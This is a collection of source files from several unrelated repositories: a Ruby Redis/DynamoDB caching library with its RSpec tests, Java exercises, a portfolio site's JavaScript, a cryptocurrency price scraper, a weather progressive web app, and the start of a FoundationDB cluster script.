expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({
"redy:foo" => 100,
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
subject.delete('foo', :async => true)
wait_for_fluentd_flush
expect(redis_select_all).to eq({
"redy:foo" => '',
"redy:bar" => 'STR',
"redy:zoo" => [1, '2', 3],
"redy:baz" => {'num' => 200, 'str' => 'XXX'},
})
expect(subject.get('foo')).to be_nil
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(dynamodb_select_all).to match_array [
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
end
end
context 'delete (redis down)' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
restart_fluentd(:flush_interval => 600)
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :async => true)
subject.set('bar', 'STR', :async => true)
subject.set('zoo', [1, '2', 3], :async => true)
subject.set('baz', {'num' => 200, 'str' => 'XXX'}, :async => true)
expect(subject.get('foo')).to eq 100
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(redis_select_all).to eq({})
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
subject.delete('foo', :async => true)
expect(redis_select_all).to eq({})
expect(subject.get('foo')).to be_nil
expect(subject.get('bar')).to eq 'STR'
expect(subject.get('zoo')).to eq [1, '2', 3]
expect(subject.get('baz')).to eq({'num' => 200, 'str' => 'XXX'})
expect(dynamodb_select_all).to match_array [
{"id" => "bar", "timestamp" => TEST_TIMESTAMP, "data" => 'STR'},
{"id" => "zoo", "timestamp" => TEST_TIMESTAMP, "data" => [1, '2', 3]},
{"id" => "baz", "timestamp" => TEST_TIMESTAMP, "data" => {'num' => 200, 'str' => 'XXX'}},
]
end
end
context 'expire_after' do
subject { redy(:disable_timestamp_stub => true) }
it do
subject.set('foo', 100, :expire_after => 5, :async => true)
expect(subject.get('foo')).to eq 100
expect(redis_select_all).to eq({
"redy:foo" => 100,
})
wait_for_fluentd_flush
rows = dynamodb_select_all.map do |row|
row.delete('timestamp')
row
end
expect(rows).to match_array [
{"id" => "foo", "data" => 100, "expire_after" => 5},
]
sleep 7
expect(redis_select_all).to eq({})
expect(subject.get('foo')).to be_nil
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array []
end
end
context 'expire_after (redis down)' do
subject do
redy(:disable_timestamp_stub => true) do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
restart_fluentd(:flush_interval => 10)
end
after do
restart_fluentd
end
it do
subject.set('foo', 100, :expire_after => 5, :async => true)
expect(subject.get('foo')).to eq 100
expect(redis_select_all).to eq({})
rows = dynamodb_select_all.map do |row|
row.delete('timestamp')
row
end
expect(rows).to match_array [
{"id" => "foo", "data" => 100, "expire_after" => 5},
]
sleep 7
expect(subject.get('foo')).to be_nil
expect(redis_select_all).to eq({})
sleep 10
expect(dynamodb_select_all).to match_array []
end
end
context 'delete error' do
subject do
redy do |options|
options[:dynamodb][:delete_key] = nil
end
end
it do
subject.set('foo', 100, :expire_after => 5, :async => true)
expect(subject.get('foo')).to eq 100
expect {
expect(subject.delete('foo', :async => true))
}.to raise_error("'dynamodb.delete_key' has not been set")
end
end
context 'consistent get' do
subject { redy }
it do
subject.set('foo', 100, :async => true)
redis.set('redy:foo', MessagePack.pack(200))
expect(redis_select_all).to eq({
"redy:foo" => 200,
})
wait_for_fluentd_flush
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
]
expect(subject.get('foo')).to eq 200
expect(subject.get('foo', :consistent => true)).to eq 100
expect(subject.get('foo')).to eq 100
end
end
context 'sync set' do
subject { redy }
before do
expect(subject.instance_variable_get(:@fluent)).not_to receive(:post)
end
it do
subject.set('foo', 100)
expect(subject.get('foo')).to eq 100
expect(redis_select_all).to eq({
"redy:foo" => 100,
})
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
]
subject.delete('foo')
expect(redis_select_all).to eq({
"redy:foo" => '',
})
expect(subject.get('foo')).to be_nil
expect(dynamodb_select_all).to match_array []
end
end
context 'sync set (redis down)' do
subject do
redy do |options|
options[:logger] = nil
options[:redis].update(
:host => '240.0.0.0',
:timeout => 0.1)
end
end
before do
expect(subject.instance_variable_get(:@fluent)).not_to receive(:post)
end
it do
subject.set('foo', 100)
expect(redis_select_all).to eq({})
expect(subject.get('foo')).to eq 100
expect(dynamodb_select_all).to match_array [
{"id" => "foo", "timestamp" => TEST_TIMESTAMP, "data" => 100},
]
subject.delete('foo')
expect(redis_select_all).to eq({})
expect(subject.get('foo')).to be_nil
expect(dynamodb_select_all).to match_array []
end
end
end
<file_sep>require 'redy'
require 'json'
require 'securerandom'
require 'base64'
TEST_TABLE_NAME = 'my_table-' + SecureRandom.uuid
TEST_TIMESTAMP = 1409839004901404
TEST_REDIS_PORT = 57777
TEST_SECONDARY_REDIS_PORT = 57778
def fluentd_conf(options = {})
options = {
:type => 'dynamodb_alt',
:endpoint => 'http://localhost:4567',
:table_name => TEST_TABLE_NAME,
:timestamp_key => 'timestamp',
:binary_keys => 'data',
:delete_key => 'delete',
:buffer_type => 'memory',
:flush_interval => 0,
}.merge(options)
options = options.select {|k, v| v }.map {|k, v| "#{k} #{v}" }.join("\n")
<<-EOS
<source>
type forward
</source>
<match dynamodb.**>
#{options}
</match>
EOS
end
$pids = []
def start_processs(cmd, signal = 'KILL')
pid = spawn(cmd)
$pids << [signal, pid]
pid
end
def kill_all
$pids.each do |signal, pid|
Process.kill signal, pid
end
end
def start_redis(port = TEST_REDIS_PORT)
start_processs("redis-server --port #{port} --loglevel warning")
end
def redis(port = TEST_REDIS_PORT)
Redis.new(:port => port)
end
def redis_truncate(port = TEST_REDIS_PORT)
redis(port).keys.each do |key|
redis.del(key)
end
end
def redis_select_all(port = TEST_REDIS_PORT)
h = {}
redis(port).keys.each do |key|
val = redis.get(key)
h[key] = (val || '').empty? ? val : MessagePack.unpack(redis.get(key))
end
h
end
def start_dynalite
start_processs('dynalite')
end
def start_fluentd(options = {})
$fluentd_pid = start_processs("fluentd -qq -c /dev/null -i '#{fluentd_conf(options)}'", 'INT')
sleep 3
end
def restart_fluentd(options = {})
if $fluentd_pid
Process.kill 'INT', $fluentd_pid
$fluentd_pid = nil
end
sleep 1
start_fluentd(options)
end
def wait_for_fluentd_flush
sleep 1
end
def dynamodb_query(sql)
out = `ddbcli --url localhost:4567 -e "#{sql.gsub(/\n/, ' ')}"`
raise out unless $?.success?
return out
end
def dynamodb_create_table(attrs)
dynamodb_query("CREATE TABLE #{TEST_TABLE_NAME} #{attrs}")
end
def dynamdb_truncate_table
dynamodb_query("DELETE ALL FROM #{TEST_TABLE_NAME}")
end
def dynamodb_select_all
JSON.parse(dynamodb_query("SELECT ALL * FROM #{TEST_TABLE_NAME}")).map do |row|
data = row['data']
data = Base64.strict_decode64(data)
row['data'] = MessagePack.unpack(data)
row
end
end
def redy(options = {})
options = {
:logger => Logger.new($stderr),
:redis => {:namespace => 'redy', :port => TEST_REDIS_PORT},
:fluent => {:tag => 'dynamodb.test'},
:dynamodb => {:table_name => TEST_TABLE_NAME, :timestamp_key => 'timestamp' , :endpoint => 'http://localhost:4567', :delete_key => 'delete'},
}.merge(options)
yield(options) if block_given?
redy = Redy.new(options)
unless options[:disable_timestamp_stub]
allow(redy).to receive(:current_timestamp) { TEST_TIMESTAMP }
end
redy
end
RSpec.configure do |config|
config.before(:all) do
start_redis
start_dynalite
dynamodb_create_table('(id STRING HASH) READ = 20 WRITE = 20')
start_fluentd
end
config.before(:each) do
redis_truncate
dynamdb_truncate_table
end
config.after(:all) do
kill_all
end
end
<file_sep>class Redy
DYNAMO_DB_DATA_KEY = 'data'
DYNAMO_DB_EXPIRE_AFTER_KEY = 'expire_after'
REDIS_NULL = ''
NEGATIVE_CACHE_TTL = 60
def initialize(options = {})
@logger = options[:logger]
init_redis(options[:redis] || {})
init_fluent(options[:fluent] || {})
init_dynamodb(options[:dynamodb] || {})
end
def get(key, options = {})
key = key.to_s
serialized = options[:consistent] ? nil : get_redis(key)
if serialized == REDIS_NULL
serialized = nil
elsif not serialized
serialized = get_dynamodb(key)
end
serialized ? deserialize(serialized) : nil
rescue => e
log_error(e)
nil
end
def set(key, value, options = {})
if options[:delete] and not @dynamodb_delete_key
raise "'dynamodb.delete_key' has not been set"
end
key = key.to_s
serialized = serialize(value)
if options[:async]
begin
key = key.to_s
serialized = serialize(value)
begin
set_redis(key, serialized, options)
ensure
set_fluent(key, serialized, options)
end
value
rescue => e
log_error(e)
nil
end
else
set_dynamodb(key, serialized, options)
begin
set_redis(key, serialized, {:without_dynamodb => true}.merge(options))
rescue => e
log_error(e)
nil
end
end
end
def delete(key, options = {})
set(key, nil, {:delete => true}.merge(options))
end
private
def init_redis(options)
return if options[:stub]
namespace = options.delete(:namespace)
@redis_expire_after = options.delete(:expire_after)
@redis_negative_cache_ttl = options.delete(:negative_cache_ttl) || NEGATIVE_CACHE_TTL
redis_conn = Redis.new(options)
if namespace
@redis = Redis::Namespace.new(namespace, :redis => redis_conn)
else
@redis = redis_conn
end
end
def init_fluent(options)
return if options[:stub]
@fluent_tag = options[:tag]
raise "'fluent.tag' is required: #{options.inspect}" unless @fluent_tag
@fluent_redis_error_tag = options[:redis_error_tag]
@fluent = Fluent::Logger::FluentLogger.new(nil, options)
end
def init_dynamodb(options)
return if options[:stub]
@dynamodb_table_name = options.delete(:table_name)
raise "'dynamodb.table_name' is required: #{options.inspect}" unless @dynamodb_table_name
@dynamodb_timestamp_key = options.delete(:timestamp_key)
raise "'dynamodb.timestamp_key' is required: #{options.inspect}" unless @dynamodb_timestamp_key
@dynamodb_data_key = options.delete(:data_key) || DYNAMO_DB_DATA_KEY
@dynamodb_expire_after_key = options.delete(:expire_after_key) || DYNAMO_DB_EXPIRE_AFTER_KEY
@dynamodb_delete_key = options.delete(:delete_key)
@dynamodb = Aws::DynamoDB::Client.new(options)
table = @dynamodb.describe_table(:table_name => @dynamodb_table_name)
@dynamodb_hash_key = table.table.key_schema.find {|i| i.key_type == 'HASH' }.attribute_name
end
def get_redis(key)
# stub mode
return nil unless @redis
@redis.get(key)
rescue => e
log_error(e)
get_dynamodb(key, :without_redis => true)
end
def get_dynamodb(key, options = {})
# stub mode
return nil unless @dynamodb
item = @dynamodb.get_item(
:table_name => @dynamodb_table_name,
:key => {@dynamodb_hash_key => key}
).item
if item
data = item[@dynamodb_data_key].string
if expired?(item)
set_fluent(key, data, {:delete => true}.merge(options))
set_negative_cache(key) unless options[:without_redis]
nil
else
set_redis(key, data, :without_dynamodb => true) unless options[:without_redis]
data
end
else
set_negative_cache(key) unless options[:without_redis]
nil
end
end
def set_redis(key, serialized, options = {})
# stub mode
return unless @redis
if delete?(options)
set_negative_cache(key, :raise_error => true)
elsif (expire_after = min_expire_after(options[:expire_after], @redis_expire_after))
@redis.setex(key, expire_after, serialized)
else
@redis.set(key, serialized)
end
rescue => e
log_error(e)
set_fluent(key, serialized, {:tag => @fluent_redis_error_tag}.merge(options)) if @fluent_redis_error_tag
set_dynamodb(key, serialized, options) unless options[:without_dynamodb]
end
def set_negative_cache(key, options = {})
# stub mode
return unless @redis
begin
@redis.setex(key, @redis_negative_cache_ttl, REDIS_NULL) unless @redis_negative_cache_ttl.zero?
rescue => e
if options[:raise_error]
raise e
else
log_error(e)
end
end
end
def set_fluent(key, serialized, options = {})
# stub mode
return nil unless @fluent
tag = options[:tag] || @fluent_tag
add_delete_key_if(options)
add_expire_after_if(options)
@fluent.post(tag, item(key, serialized, options))
end
def set_dynamodb(key, serialized, options = {})
# stub mode
return nil unless @fluent
if delete?(options)
@dynamodb.delete_item(
:table_name => @dynamodb_table_name,
:key => {@dynamodb_hash_key => key}
)
else
options = {:convert_set => true}.merge(options)
add_expire_after_if(options)
@dynamodb.put_item(
:table_name => @dynamodb_table_name,
:item => item(key, StringIO.new(serialized), options))
end
end
def item(key, serialized, options = {})
item = {
@dynamodb_hash_key => key,
@dynamodb_timestamp_key => current_timestamp,
@dynamodb_data_key => serialized,
}.merge(options[:extra] || {})
if options[:convert_set]
convert_set!(item)
else
item
end
end
def serialize(data)
MessagePack.pack(data)
end
def deserialize(serialized)
MessagePack.unpack(serialized)
end
def current_timestamp
now = Time.now
('%d%06d' % [now.tv_sec, now.tv_usec]).to_i
end
def format_exception(e)
(["#{e.class}: #{e.message}"] + e.backtrace).join("\n\tfrom ")
end
def convert_set!(record)
record.each do |key, val|
if val.kind_of?(Array)
record[key] = Set.new(val)
end
end
return record
end
def log_error(e)
@logger.warn(format_exception(e)) if @logger
end
def delete?(options)
@dynamodb_delete_key and options[:delete]
end
def add_delete_key_if(options)
if delete?(options)
options[:extra] ||= {}
options[:extra][@dynamodb_delete_key] = 1
end
end
def add_expire_after_if(options)
if options[:expire_after]
options[:extra] ||= {}
options[:extra][@dynamodb_expire_after_key] = options[:expire_after]
end
end
def expired?(item)
if item[@dynamodb_expire_after_key]
expire_after = item[@dynamodb_expire_after_key]
timestamp = item[@dynamodb_timestamp_key] / 1000000
timestamp + expire_after < Time.now.to_i
else
false
end
end
def min_expire_after(expire_after1, expire_after2)
if expire_after1 and expire_after2
[expire_after1, expire_after2].min
elsif expire_after1
expire_after1
elsif expire_after2
expire_after2
else
nil
end
end
end
| c9b85529be2c9decc5345300a007174620e4212e | [
"Markdown",
"Ruby"
] | 5 | Ruby | winebarrel/redy | 6fab55dc63c63080d3086224114153ea569beed7 | 5b37c9ee2fe9732c036897e9796bcbc91820a9ac |
refs/heads/master | <repo_name>Krishnavamsi666/180031073<file_sep>/p217.java
import java.io.*;
import java.util.*;
class Reverse
{
public static void main(String[] agrs)
{
int num,sum=0,r;
Scanner sc = new Scanner(System.in);
num=sc.nextInt();
for( int i=0;i<=num;i++)
{
r=num%10;
sum=sum*10+r;
num=num/10;
i=0;
}
System.out.println("r.num\t"+sum);
}
}
<file_sep>/p42.java
import java.io.*;
import java.util.*;
import java.lang.*;
class Calculator
{
static double powerInt(int a,int b)
{
return (Math.pow(a,b));
}
static powerDouble(double a,int b)
{
return Math.pow(a,b);
}
}
class Calculate
{
System.out.println("int"+Calculator.powerInt(12,10));
System.out.println("double"+Calculator.powerDouble(12,10));
<file_sep>/p43.java
import java.io.*;
import java.util.*;
class Patient
{
String Patientname;
double weight,height;
Patient(String Patientname,double weight,double height);
{
this.Patientname=Patientname
this.weight=weight;
this.height=height;
}
double BMI()
{
double tot=0;
tot=(weight/(height*height))*703;
return tot;
}
}
class Patients
{
public static void main(String args[])
{
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
Double w = sc.nextDouble();
Double h = sc.nextDouble();
Patient p = new Patient();
System.out.println(p.BMI());
}
} | cded177f7ddd3441eeecbdb5c7d24ce289901ba6 | [
"Java"
] | 3 | Java | Krishnavamsi666/180031073 | 5fe3ed9534d0cc87720344d36f1488105b8e54e5 | 813613b6b7b1d2142f2dca23580d8dc873abb3ae |
refs/heads/master | <file_sep><!DOCTYPE html>
<html>
<head>
<title><NAME></title>
<link rel="stylesheet" href="css/main.css">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="icon" href="images/favicon.png" />
</head>
<body>
<div class="menu js-menu">
<div class="menu-stripe"></div>
<div class="menu-stripe"></div>
<div class="menu-stripe"></div>
</div>
<div class="menu-social"></div>
<a class="home-title" href="index.html">
<NAME>
</a>
<div class="about">
<p>Nice to meet you, </p>
<p>My name is <NAME>, I am a graphic designer based in Paris. I am currently a student at the École de Condé and I am pursuing a Master degree in Visual Communication Strategy. I received a complete scholarship for my Bachelor degree in Graphic Design with a Minor in Digital Graphic Design. I had the chance to work with agencies and companies like NEWID and La Chambre Nationale des Propriétaires.</p>
<p>For any buisness inquiries or just to say hi feel free to drop me a line.</p>
<p>I am currently looking for a three month internship during summer 2018.</p>
</div>
<p class="copyright">© <NAME> 2018</p>
<script src="js/menu.js"></script>
</body>
</html><file_sep>const menu = document.getElementsByClassName('js-menu')[0];
function creatLink(elem, href, text, className) {
elem.innerHTML = text;
elem.className = className;
elem.href = href;
}
function createContentMenu() {
const containerLink = document.createElement('div');
const linkWork = document.createElement('a');
const linkAbout = document.createElement('a');
const linkContact = document.createElement('a');
containerLink.className = 'menu-link';
creatLink(linkWork, 'index.html', 'WORK', 'menu-link__item');
creatLink(linkAbout, 'about.html', 'ABOUT', 'menu-link__item');
creatLink(linkContact, 'mailto:<EMAIL>', 'CONTACT', 'menu-link__item');
containerLink.appendChild(linkWork);
containerLink.appendChild(linkAbout);
containerLink.appendChild(linkContact);
return containerLink;
}
if (menu) {
menu.addEventListener('click', function(e) {
if (e.target.className === 'menu-stripe') {
e.target.parentElement.style.display = "none";
} else {
e.target.style.display = "none";
}
console.log(e.target);
document.body.style.overflow = 'hidden';
const divMenu = document.getElementsByClassName('menu-content')[0]
? document.getElementsByClassName('menu-content')[0]
: document.createElement('div') ;
const closeButton = document.getElementsByClassName('js-close-menu')[0]
? document.getElementsByClassName('js-close-menu')[0]
: document.createElement('div') ;
const width = `${window.innerWidth}px`;
const height = `${window.innerHeight}px`;
const scrollPosition = document.documentElement.scrollTop;
divMenu.style.height = height;
divMenu.style.width = width;
divMenu.className = 'menu-content';
divMenu.style.top = scrollPosition === 0 ? 0 :`${document.documentElement.scrollTop}px`;
divMenu.style.left = 0;
divMenu.style.display = 'flex';
closeButton.className = 'menu-close-button js-close-menu';
closeButton.addEventListener('click', function () {
document.body.style.overflow = 'initial';
divMenu.style.display = 'none';
e.target.style.display = "block";
});
if (!document.getElementsByClassName('menu-link')[0]) {
divMenu.appendChild(createContentMenu());
}
divMenu.appendChild(closeButton);
document.body.appendChild(divMenu);
});
}
const footer = document.getElementsByClassName('footer-image')[0];
if (footer) {
footer.addEventListener('click', function() {
document.documentElement.scrollTop = 0;
})
}<file_sep>const elems = document.getElementsByClassName('js-hover-homepage-container');
function lanchHover(element, status) {
const container = element.getElementsByClassName('js-hover-homepage')[0];
if (status === 'none') {
container.style.display = status;
} else {
const url = container.hasAttribute('data-hover-image') ? container.getAttribute('data-hover-image') : undefined;
if (url) {
container.style.backgroundImage = `url('${url}')`;
}
container.style.opacity = 0;
container.style.display = status;
let index = 0;
var refreshId = setInterval(function() {
container.style.opacity = index / 10;
index++;
if (index === 10) {
clearInterval(refreshId);
}
}, 30);
}
}
if (elems) {
Array.prototype.forEach.call(elems, function(elem){
elem.addEventListener('mouseenter', function(){
lanchHover(elem, 'table');
});
elem.addEventListener('mouseleave', function(){
lanchHover(elem, 'none');
});
});
}
| 79001b38dfc2601ef50cb9a81cace1db336d9b4c | [
"JavaScript",
"HTML"
] | 3 | HTML | mollymoon2b/alice-site | da697c9963f81ecacb1c2eec896444dff44e3e8a | ac5c6f5116339364c0cd666779e3ed74cbf1c46f |
refs/heads/master | <file_sep>#! /usr/bin/python3
# https://www.roboshout.com
# Scrape coinmarketcap.com's historical cryptocurrency datasets.
# Write date, open, high, low, close, volume, & market capacity
# to .csv in current directory. ex: bitcoin20181120.csv
# Data for a given currency will be written to the .csv file
# from April 28, 2013 to the current date
# 2018 <NAME>
# usage: python3 crypto_csv_writer.py -c bitcoin
#
import requests
import argparse
from datetime import datetime
from sys import exit
import re
import csv
class CryptoCSV:
def __init__(self, currency_type):
self.today = datetime.now().strftime("%Y%m%d")
self.currency = currency_type
self.matches = []
self.__build_url()
def __build_url(self):
self.url = "https://coinmarketcap.com/currencies/"
self.url += self.currency
self.url += "/historical-data/?start=20130428&end="
self.url += self.today
def __search_regex(self):
req = requests.get(self.url)
reg_str = "<td.*\w+.*</td>"
self.matches = re.findall(reg_str, req.text)
def __get_data(self):
csv_row = []
for td_tag in self.matches:
regex = ">(.*)<"
match = re.search(regex, td_tag)
if match:
if not match.group(1)[:3].isalpha():
csv_row.append(match.group(1))
else:
copy = csv_row[:]
csv_row = [match.group(1)]
yield copy
def create_csv(self):
self.__search_regex()
meta_data = [
"date", "open", "high", "low",
"close", "volume", "mkt_cap"
]
file_name = self.currency + self.today + ".csv"
with open(file_name, "w") as csv_file:
writer = csv.writer(csv_file, delimiter='\t')
writer.writerow(meta_data)
for line in self.__get_data():
writer.writerow(line)
if __name__ == "__main__":
valid_currencies = [
"bitcoin", "litecoin", "ripple", "ethereum",
"bitcoin-cash", "reddcoin", "stellar", "eos",
"cardano", "monero", "tron", "iota", "dash",
"factom", "nem", "neo", "ethereum-classic",
"tezos", "zcash", "bitcoin-gold", "ark", "vechain",
"ontology", "dogecoin", "decred", "qtum", "lisk",
"bytecoin", "bitcoin-diamond", "bytecoin", "icon",
"bitshares", "nano", "digibyte", "siacoin", "steem",
"bytom", "waves", "metaverse", "verge", "stratis",
"electroneum", "komodo", "cryptonex", "ardor",
"wanchain", "monacoin", "moac", "pivx", "horizen",
"ravencoin", "gxchain", "huobi-token"
]
message = 'Enter a currency type'
parser = argparse.ArgumentParser(description='-c currency name argument')
parser.add_argument('-c', '--currency', required=True, help=message)
currency_arg = vars(parser.parse_args())
if currency_arg['currency'] not in valid_currencies:
print("Please enter a valid cryptocurrency...")
exit()
CryptoCSV(currency_arg['currency']).create_csv()
<file_sep>
## Class CryptoCSV: scrapes a given crypto-currency's <b>daily</b> historical data from coinmarketcap.com and writes to .csv - 2013 to present
<br><br>
All available data from <b>April 28th 2013 to the present day</b> will be added into the .csv file
<br><br>
When the script finishes, a .csv file will be written to the current working directory:<br>
bitcoin20180524.csv
<br><br>
Example Usage:
<br>
<code>
python3 crypto_csv_writer.py -c litecoin
</code>
<br>
Simply replace the -c argument with your desired crypto-currency
<br>
It should run on any system with python3 and requests module installed -- tested on Ubuntu
<br><br>
This was developed on Ubuntu 16.04.4 LTS.
<hr>
<b>Author: <NAME> 18NOV2018</b><br><br>
Example 1:<br>
<img src="https://github.com/rootVIII/crypto_csv_writer/blob/master/screenshot1.png" alt="example1" height="675" width="950"><hr>
Example 2:<br>
<img src="https://github.com/rootVIII/crypto_csv_writer/blob/master/screenshot2.png" alt="example2" height="1100" width="900">
| e0b350d2df8d2fe53b0c100c631b11d84a7ae83f | [
"Markdown",
"Python"
] | 2 | Python | monsirto/crypto_csv_writer | aa49227e0bd731b53c6e40d8c6d1862de14f5356 | 7236512b6e93b57960311b4986df961b90f53ad0 |
refs/heads/master | <file_sep>'use strict';
const app = {};
app.city = undefined;
app.data = null;
app.card = document.querySelector('.card');
app.dialog = document.querySelector('.dialog');
app.spinner = document.querySelector('.loader');
app.nextDays = app.card.querySelectorAll('.future__oneday');
app.selectedDay = app.card.querySelector('.future__oneday--selected');
app.cityElement = app.dialog.querySelector('.textfield__input');
app.daysOfWeek = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
app.card.querySelector('.card__location').addEventListener('click', () => {
app.cityElement.value = app.city;
app.toggleDialog();
});
app.dialog.querySelector('.dialog__surface').addEventListener('submit', event => {
event.preventDefault();
app.city = app.cityElement.value;
app.toggleDialog();
app.getForecast(app.city);
localStorage.city = app.city;
});
app.nextDays.forEach(day => {
day.addEventListener('click', e => {
app.selectedDay.classList.remove('future__oneday--selected');
day.classList.add('future__oneday--selected');
app.selectedDay = day;
return app.setDay(day.getAttribute('data-day-id'));
});
});
app.toggleDialog = function() {
app.dialog.classList.toggle('dialog--open');
};
app.getForecast = function(city) {
const url = `https://api.openweathermap.org/data/2.5/forecast/daily?appid=${process.env.API_KEY}&units=metric&q=${city}`;
if ('caches' in window) {
caches.match(url).then(response => {
if (response !== undefined) {
response.json().then(data => app.updateForecast(data));
}
});
}
const xhr = new XMLHttpRequest();
xhr.addEventListener('load', () => {
if (xhr.status === 200) {
let data = JSON.parse(xhr.response);
app.updateForecast(data);
}
});
xhr.open('GET', url);
xhr.send();
};
app.updateForecast = function(data) {
app.data = data;
const { card, nextDays } = app;
card.querySelector('.card__location').textContent = data.city.name;
let today = new Date();
today = today.getDay();
nextDays.forEach(function(nextDay, i) {
const day = app.daysOfWeek[(i + today) % 7];
const future = data.list[i];
nextDay.setAttribute('data-day-id', i);
nextDay.querySelector('.future__date').textContent = day;
nextDay.querySelector('.future__icon').style.backgroundImage =
`url("images/${future.weather[0].icon}.svg")`;
nextDay.querySelector('.temp--high .temp__value').textContent =
Math.round(future.temp.max);
nextDay.querySelector('.temp--low .temp__value').textContent =
Math.round(future.temp.min);
});
app.selectedDay.classList.remove('future__oneday--selected');
app.nextDays[0].classList.add('future__oneday--selected');
app.selectedDay = app.nextDays[0];
app.setDay(0);
app.spinner.setAttribute('hidden', true);
};
app.setDay = function(dayId) {
const current = app.data.list[dayId];
const { card } = app;
card.querySelector('.card__description').textContent =
current.weather[0].description;
card.querySelector('.visual__value').textContent =
Math.round(current.temp.day);
card.querySelector('.visual__icon').style.backgroundImage =
`url("images/${current.weather[0].icon}.svg")`;
card.querySelector('.description__wind .description__value').textContent =
Math.round(current.speed);
card.querySelector('.description__clouds .description__value').textContent =
current.clouds;
};
app.city = localStorage.city;
if (app.city === undefined) {
app.toggleDialog();
} else {
app.getForecast(app.city);
}
<file_sep>const dataCacheName = 'weatherData-v4';
const cacheName = 'weather-cacheNameVersion';
const filesToCache = [
'./',
'./index.html',
'./js/main.js',
'./images/01d.svg', './images/01n.svg',
'./images/02d.svg', './images/02n.svg',
'./images/03d.svg', './images/03n.svg',
'./images/04d.svg', './images/04n.svg',
'./images/09d.svg', './images/09n.svg',
'./images/10d.svg', './images/10n.svg',
'./images/11d.svg', './images/11n.svg',
'./images/13d.svg', './images/13n.svg',
'./images/50d.svg', './images/50n.svg'
];
self.addEventListener('install', function(e) {
console.log('[ServiceWorker] Install');
e.waitUntil(
caches.open(cacheName).then(function(cache) {
console.log('[ServiceWorker] Caching app shell');
return cache.addAll(filesToCache);
})
);
});
self.addEventListener('activate', function(e) {
console.log('[ServiceWorker] Activate');
e.waitUntil(
caches.keys().then(function(keyList) {
return Promise.all(keyList.map(function(key) {
if (key !== cacheName && key !== dataCacheName) {
console.log('[ServiceWorker] Removing old cache', key);
return caches.delete(key);
}
}));
})
);
return self.clients.claim();
});
self.addEventListener('fetch', function(e) {
console.log('[Service Worker] Fetch', e.request.url);
const dataUrl = 'https://api.openweathermap.org/data/2.5/forecast/daily';
if (e.request.url.indexOf(dataUrl) > -1) {
e.respondWith(
caches.open(dataCacheName).then(function(cache) {
return fetch(e.request).then(function(response) {
cache.put(e.request.url, response.clone());
return response;
});
})
);
} else {
e.respondWith(
caches.match(e.request).then(function(response) {
return response || fetch(e.request);
})
);
}
});
<file_sep># Weather 
[](https://travis-ci.com/alik0211/weather)
[](https://david-dm.org/alik0211/weather?type=dev)
Application for all devices.
## Features
- Size
- Speed
- Material design
- Offline functionality
## Screenshot

| e6ca9ec26c325ba63e047744082dd29a3a230100 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | alik0211/weather | 6176c0e98023ac3cfdb437c1b534e886528f9c08 | 96f882ce15abe28d00b6c8a364107d1f2beb2faf |
refs/heads/master | <file_sep>#!/usr/bin/env bash
set -e
####### CONFIGURATION ########
MAX_HEALTH_CHECKS=20 # Maximum times to check the health of each fdb node before failing
HEALTH_CHECK_DELAY=5 # seconds to wait between health checks
#############################
DEFAULT_NODE_COUNT=3
DEFAULT_REDUNDANCY_MODE=double
DEFAULT_STORAGE_ENGINE=memory
HEALTH_CHECK_COUNT=0
NAME="[fdb-cluster]: "
COMMAND=$1
DESIRED_NODE_COUNT=$2
REDUNDANCY_MODE=$3
STORAGE_ENGINE=$4
log() {
echo "${NAME} $1"
}
verifyHealth() {
local REGEX='^[0-9]+$'
local NODE_NUMBER=$1
if ! [[ ${NODE_NUMBER} =~ ${REGEX} ]]; then
log "verifyHealth() must be called with an integer"
exit 4
fi
local CURRENT_DIRECTORY=${PWD##*/}
local CONTAINER_NAME="${CURRENT_DIRECTORY}_fdb_${NODE_NUMBER}"
let HEALTH_CHECK_COUNT+=1
local STATUS=$(docker exec -it ${CONTAINER_NAME} sh -c 'fdbcli --exec status | grep "Replication health"')
local FDB_STATUS=$(echo ${STATUS} | awk '{print $4}')
local HEALTHY_REGEX='^Healthy'
if [[ ${FDB_STATUS} =~ ${HEALTHY_REGEX} ]]; then
log "fdb replication healthy on ${CONTAINER_NAME}"
return
fi
